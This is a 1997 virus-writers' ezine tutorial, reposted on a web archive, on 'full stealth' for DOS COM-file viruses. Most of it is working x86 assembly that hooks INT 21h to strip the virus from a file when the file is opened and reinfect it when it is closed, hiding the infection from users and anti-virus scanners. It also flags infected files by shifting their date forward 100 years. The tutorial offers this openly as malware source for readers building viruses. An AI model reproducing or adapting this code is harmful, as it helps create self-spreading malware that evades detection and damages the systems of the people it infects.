Copy Link
Add to Bookmark
Report

SLAM4.016: Stealth Tutorial - Full Stealth by Virtual Daemon/SLAM

eZine's profile picture
Published in 
Slam
 · 2 Mar 2022

⁄------------------------------------------ø 
| Simple Tutorial to Stealth Viruses |
| Part #3 - Full Stealth |
| by Virtual Daemon |
¿------------------------------------------Ÿ


Part I: Introduction & Theory

As I promised in our last issue, I'm now presenting you another form of stealth used very often in many viruses: full stealth on disk.

This technique is very easy to implement and consist of disinfecting the infected files on open and then re-infect it on close.

There are two ways of hiding your whole virus... One of them is presented in this tutorial. The other one is called redirection stealth and it will be presented in a future tutorial. The second method is better than this one, because it only consists in disinfecting the virus in memory without any disk writes, and this way it works on Novell Networks or on write-protected floppy disks. But enough about this...

Well, like I said above, the full stealth on disk method consist in disinfecting on open and reinfecting on close. So, what's the use of all this? Well, it's elementary my dear friend...:) Let me give you a little example... Let's say that our virus has been successfully installed on the host system. From now on, every file that will be (for example) executed will be infected. But what will happen if the user will try to view the contents of an infected file? Or what will happen if the system will be scanned for viruses with an anti-virus product? In both cases the virus will be found. So, here's where we're coming in... In order to make full stealth we will intercept the open and the close functions. So, when the AV software or the user will try to open the file to view it's content, we will disinfect the file (or to put it more simpler, we'll remove the virus from file)... This way, the file will be clean and no one will suspect that our virus is active in memory. And then, when the file gets closed we will reinfect it and then close it. Simple, huh? ;)

So, we must disinfect the file on open calls, right? Well, DOS v3+ uses only the 2 traditional ways of opening a file: 3dh (open via file handle) and 6c00h (extended open/create). Open via FCB aka 0fh function isn't used anymore so we'll skip it.

In order to do full stealth it is obvious that we must modify our Int 21h handler to intercept the open and the close calls as well.

Let's have a look at our new INT 21h handler:

myint21h: 
cmp ah,3dh ;open via file handle?
je disinfect ;go and disinfect the file
cmp ax,6c00h ;extended open/create?
je ext_disinfect ;go and disinfect the file
cmp ah,3eh ;close file?
je close_infect ;go and re-infect the file
... ;other stuff like check if it's a 4bh (execute) call
; or if the virus is already active in memory, etc
exithandler:
db 0eah ;return to original Int 21h vector
oldint21 dd ?


Before we go into the real code, I must make some notes about 6c00h DOS function. This function was implemented from DOS ver 4.0. The function basically replaces the 3ch (create file via file handle), 3dh (open file via file handle) and 5bh (create a new file) DOS functions. It is similar with the OS/2 open call. The main difference between this function and the 3dh function is that besides opening a file, it can also create one. Anywayz, here goes the syntaxes for 6c00h and 3dh functions.

First the 6c00h:

---------------------- 
Input:
AX=6c00h
BX=extended open mode flags
CX=file attribute (used only if file gets created)
DH=00h
DL=action if file exists/does not exist
bits 0-3 action if file exists
0000 fail
0001 open
0010 replace/open
4-7 action if file does not exist
0000 fail
0001 create
DS:SI=address of an ASCIIZ string of filespec
Returns:
AX=error code if CF is set to CY
file handle if no error
CX=action taken: 0 file was opened
1 file was created and opened
2 file was replaced and opened
----------------------


The value stored in the DL register controls the open/create action, depending upon whether the file exists at the time of the call. Common combinations are:

  • 0001H = open the file if it exists; otherwise fail the call
  • 0011H = open the file if it exists; otherwise create it
  • 0012H = if the file exists open and truncate it to length 0; otherwise create it and open it

The extended open flags (from BX) looks like this:

  ÷7¬6¬5¬4¬3¬2¬1¬0∑ 
|i| shr |0| r/w | Open Mode bit flags
”“¡-¡-¡-¡-¡-¡-¡-Ω bit
| »-À-º »--- - 0-2: Network Access Rights required by process for access
| | 000 = read
| | 001 = write
| | 010 = read and write
| »----------- 4-6: Sharing Mode: 000 = compatibility mode 0h
| 001 = deny read/write (exclusive) 10h
| 010 = deny write 20h
| 011 = deny read 30h
| 100 = deny none 40h
»--------------- 7: Inheritance: 1 = file is private to this process 80h
0 = inherited by spawned processes


An important thing would be that the 0-2 bits (stored in BL) represents the open mode. The 3dh function requires these bits in AL for opening the file.

Then the 3dh:

---------------------- 
Input:
AH=3dh
DS:DX=address of an ASCIIZ string of filespec
AL=0 for reading
1 for writing
2 for both reading and writing
Returns:
AX=error code if CF is set to CY
file handle if no error
----------------------


Here are the 2 important differences between these two functions:

  • the open mode bits are stored in AL at 3dh and in BL at 6c00h
  • the file name (ASCIIZ string) is stored in DS:DX at 3dh and in DS:SI at 6c00h

Since there are only 2 minor differences on open calls between the 2 functions, we will use the same procedure for disinfecting the file. We'll disinfect the file when a 6c00h is requested in the same way as for 3dh, but before that we will have to do some adjustements like:

  1. put the file name from DS:SI into DS:DX (just equal DX with SI)
  2. put the open mode from BL into AL
  3. equal the AH register with 3dh so it will look like a normal open call

Those should be the normal things to do in order to make a 6c00h call to look like a 3dh one. But our goal is to make the virus as small as possible, so that's why on the example code, I removed the last 2 "adjustments".


Part II: Source code examples

Here is the disinfect procedure! Note that the procedure is only for COM files but it's very easy to make it for EXE infections too.

This code can also be seen in my 'Paranoid' virus presented in SLAM #3...
Anwyay, since I didn't had time to finish Paranoid, its code is buggy and not very well optimized. So, you'll have to excuse me if you find some little bugs in it! :) Let's just say that it's your job to learn from them...

--- cut here --- 
ext_disinfect: ;we jump here if it's a 6c00h call
;if DX (DL) is equal with 1 then the file is opened normally (see above)
;if DX<>1 then the 6c00h function doing something else (like creating a file)
cmp dl,1 ;check if it's just a normal "file open" request
je we_got_it ;file open? go ahead...
jmp exithandler ;if we don't have a file open request we must exit
we_got_it:
mov dx,si ;put the file's name in DS:DX from DS:SI
mov byte ptr exten,1 ;mark as an extended call
;if EXTEN=1 then it's a extended call, else it's a normal open call

disinfect: ;we jump here if it's just a 3dh call
;save registers that will be modified during the disinfection process
push ax bx cx dx di si ds es

push ds
pop es ;make ES=DS

;here we check to see if the file that is being opened is a COM
;and not just a simple TXT file
mov cx,64 ;PATH+file name=65 (max)
;DS:DX points to the file name now
mov di,dx ;make DS:SI to point to the file name
;we search till we encounter '.' bcoz we need the file extension
mov al,'.' ;search for '.'
repne scasb ;repeat till cx=0 or till we found '.'

;DS:DI holds the extension of the file now
mov ax,word ptr ds:[di]
or ax,2020h ;lowercase
cmp ax,'oc' ;check if extension is com
je check_next
jmp goaway
check_next:
mov al,byte ptr ds:[di+2]
or al,20h ;lowercase
cmp al,'m'
je openfile
jmp goaway ;COM not found... exit!
openfile:
mov ax,4300h ;get old attributes
int 21h
push cx dx ds ;save file attributes & file name (DS:DX)

mov ax,4301h ;set new attributes
xor cx,cx ;archive only
int 21h

mov ax,3d02h ;open file for reading and writing
pushf
call dword ptr cs:[oldint21] ;fake a int 21h call
jnc no_err
jmp restore_attr
no_err:

xchg bx,ax ;put file handle in BX

push cs cs
pop ds es ;make CS=DS=ES

;In order to see if the file is infected or not I added 100 years to original
;file date. We will also check if the file's first 3 bytes are a JMP to our
;virus.
mov ax,5700h ;get file time
int 21h
cmp dh,100 ;check if infected
jae infected ;if infected go ahead...
jmp close_dis ;if not then don't stealth
infected:
mov word ptr file_time,cx ;save the file's time
mov word ptr file_date,dx ;save the file's date

mov ah,3fh ;read the 1st 3 bytes
mov cx,3
lea dx,buffer ;save them in our buffer
int 21h

cmp byte ptr buffer,0e9h ;check if it is a jmp.
jne close_dis ;not JMP? then the file isn't infected...

mov ax,4202h ;go to EOF
xor cx,cx
cwd
int 21h
;DX:AX holds the file size
mov dx,ax
push dx ;save it

mov cx,word ptr buffer+1 ;check if the JMP points to our virus
add cx,(heap-begin)+3
cmp ax,cx
jne close_dis ;if not equal the file isn't infected...

;"heap" is the end of our virus. "jumpbuf" are the original 3 bytes from the
;beginning...
;We have to go where those bytes are stored in the file, and we must read them.
sub dx,(heap-jumpbuf) ;DX will point to the original bytes
xor cx,cx
mov ax,4200h ;go where the JMP bytes are stored
int 21h

mov ah,3fh ;read the original bytes in memory
mov cx,3
lea dx,buffer ;put them in our buffer
int 21h

mov ax,4200h ;go to BOF (beginning of file)
xor cx,cx
cwd
int 21h

mov ah,40h ;write the original code (3 bytes)
lea dx,buffer
mov cx,3
int 21h

pop dx ;restore file size

sub dx,(heap-begin) ;substract the length of our virus
mov ax,4200h
xor cx,cx
int 21h

mov ah,40h ;truncate the file
xor cx,cx
int 21h

close_dis:
mov ax,5701h
mov cx,word ptr file_time
mov dx,word ptr file_date
ror dh,1 ;restore original year
sub dh,100
rol dh,1
int 21h

mov ah,3eh ;close the file
pushf ;we will intercept the 3eh function too
call dword ptr cs:[oldint21] ;so we must fake an int 21h call

restore_attr:
mov ax,4301h
pop ds dx cx ;restore file name & file attributes
int 21h
goaway:
pop es ds si di dx cx bx ax ;restore saved registers

cmp byte ptr exten,1 ;check if was an extended open
jne exit
;restore original values for AX and DX registers
mov ax,6c00h ;set AX to 6c00h
mov dx,1 ;set DX to 1 (normal open)
mov byte ptr exten,0 ;reset the EXTEN variable to 0
exit:
jmp exithandler ;return to original Int 21h
jumpbuf db 0cdh,20h,0 ;original 3 bytes

; ... ;other stuff

heap: ;this is the end of the virus
file_time dw ? ;old file time
file_date dw ? ;old file date
exten db 0
buffer db 3 dup (?)
--- cut here ---


Well, that's all... Now let's get to the "reinfection" process... The theory is simple: we will get the file name using SFT (system file table) and we will infect the file.
Note: the SFT structure has been presented and explained in my "size stealth #2" tut, so go and learn bout it if you don't know already... ;)

--- cut here --- 
close_infect:
cmp bx,5 ;DOS uses the 1st 5 handles for special devices
;so we must check to see if its a normal handle
;or a special one
jae good_handle
jmp goback ;special handle? exit...
good_handle:
push ax bx cx dx di si ds es ;save registers
push bx ;save file handle

mov ax,1220h ;DOS function=get job file table entry
int 2fh ;CF will be set if error
jnc getjob_ok
finish:
jmp close ;exit if error
getjob_ok:

mov bl,es:[di] ;BL=JFT entry
cmp bl,0ffh ;if BL=0ffh, handle is not open
je finish ;handle not open? Exit please...
mov ax,1216h ;use SFT to get the extension
int 2fh
jc finish ;BX is greater then FILES= (from CONFIG.SYS)

pop bx ;restore file handle

cmp word ptr es:[di+28h],'OC' ;check if it's a COM file
jne finish
cmp byte ptr es:[di+28h+2],'M'
jne finish

mov byte ptr es:[di+2h],2 ;mark file as open in Read+Write mode

mov ax,4200h ;goto BOF
xor cx,cx
cwd
int 21h

mov ax,5700h ;get file's date/time
int 21h
cmp dh,100 ;check if infected
jb not_infect ;the file is not infected
jmp close ;infected? close the file
not_infect:
mov word ptr file_time,cx ;save file time
mov word ptr file_date,dx ;save file date

push cs cs
pop ds es ;make CS=DS=ES

mov ah,3fh ;read the first 3 bytes
lea dx,buffer ;save them into our buffer
mov cx,3
int 21h

mov ax,4202h ;go to EOF
xor cx,cx
cwd
int 21h

mov word ptr file_size,ax ;save the file size
mov word ptr file_size+2,dx

cmp word ptr buffer,'MZ' ;check if EXE
je close
cmp word ptr buffer,'ZM'
je close

mov ax,word ptr file_size ;check if too big
cmp ax,65535-(endheap-begin)
ja close
cmp ax,(endheap-begin) ;check if too small
jbe close

mov cx,word ptr buffer+1 ;check if already infected
add cx,heap-begin+3
cmp ax,cx
je close

mov di,offset jumpbuf ;prepare new JMP
mov si,offset buffer
movsb
movsw
mov byte ptr [offset buffer],0e9h
sub ax,3
mov word ptr [offset buffer+1],ax

mov ah,40h ;write the virus to host
lea dx,begin
mov cx,heap-begin
int 21h

mov ax,4200h ;go to BOF
xor cx,cx
cwd
int 21h

mov ah,40h ;write the new JMP
lea dx,buffer
mov cx,3
int 21h

mov ax,5701h ;set old file's time/date
mov cx,word ptr file_time
mov dx,word ptr file_date
ror dh,1 ;mark the file for stealth
add dh,100
rol dh,1
int 21h
close:
pop es ds si di dx cx bx ax
goback:
jmp exithandler

heap: ;this is the end of the virus
file_size dd ? ;file size
endheap:
--- cut here ---


That's all amigos... :)

Virtual Daemon / SLAM 1997

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT